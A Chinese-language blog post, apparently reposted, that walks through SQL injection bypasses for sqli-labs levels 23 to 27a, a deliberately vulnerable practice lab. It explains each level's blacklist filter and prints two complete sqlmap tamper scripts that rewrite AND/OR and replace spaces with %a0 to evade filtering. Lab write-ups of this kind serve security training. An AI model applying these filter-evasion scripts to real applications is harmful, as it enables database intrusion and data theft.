大家好,我是考100分的小小码 ,祝大家学习进步,加薪顺利呀。今天说一说sqlilab less23-less27a[通俗易懂],希望您对编程的造诣更进一步.
less23
本关过滤掉了注释符号– 和#,并且变量带入数据库时被单引号包裹。需要将后边的单引号闭合。使用and ‘1‘=‘1,将其加在注入语句的末尾,使用suffix参数
less-24
less-25
参数经过blacklist处理
blacklist内容:使用/i模式,表示不区分大小写,无法用大小写绕过。但是AND等价于&&,or等价于||
对sqlmap的一个payload进行修改
#!/usr/bin/env python """ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file ‘LICENSE‘ for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): if payload: payload1=payload.replace(‘ AND ‘,"&&") payload2=payload1.replace(‘ OR ‘,"||") payload=payload2 return payload
代码100分
成功注入
less-26
同上题,进行黑名单过滤,过滤内容加入了其他,过滤了注释符+ — /*,空格和斜线
需要用and ‘1‘=‘1来闭合后边单引号,用%a0来替代空格,
修改tamper脚本
攻击日志:
less-26a
不同于上一关,这里是用小括号进行了包裹
tamper
代码100分 1 #!/usr/bin/env python 2 3 from lib.core.enums import PRIORITY 4 from lib.core.compat import xrange 5 import re 6 7 __priority__ = PRIORITY.LOWEST 8 9 def dependencies(): 10 pass 11 12 def tamper(payload, **kwargs): 13 14 if payload: 15 payload1=re.sub(r‘ AND ‘,‘%a0%26%26%a0‘,payload) 16 payload2=re.sub(r‘OR‘,‘OORR‘,payload1) 17 payload=payload2 18 retVal = payload 19 20 if payload: 21 retVal = "" 22 quote, doublequote, firstspace = False, False, False 23 24 for i in xrange(len(payload)): 25 if not firstspace: 26 if payload[i].isspace(): 27 firstspace = True 28 retVal += "%a0" 29 continue 30 31 elif payload[i] == ‘‘‘: 32 quote = not quote 33 34 elif payload[i] == ‘"‘: 35 doublequote = not doublequote 36 37 elif payload[i] == " " and not doublequote and not quote: 38 retVal += "%a0" 39 continue 40 41 retVal += payload[i] 42 43 return retVal
使用sqlmap进行前后的包裹
less-27
过滤了union和select,但是,不是i模式,对大小写不敏感,可以用大小写绕过
使用随机大小写和空格匹配tamper
less-27a
不同于上一个的是参数没有包裹,同时不返回报错
利用上一题的tamper,对前后的包裹进行修改
攻击日志
sqlilab less23-less27a
原文地址:https://www.cnblogs.com/hongren/p/13418741.html
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
转载请注明出处: https://daima100.com/6866.html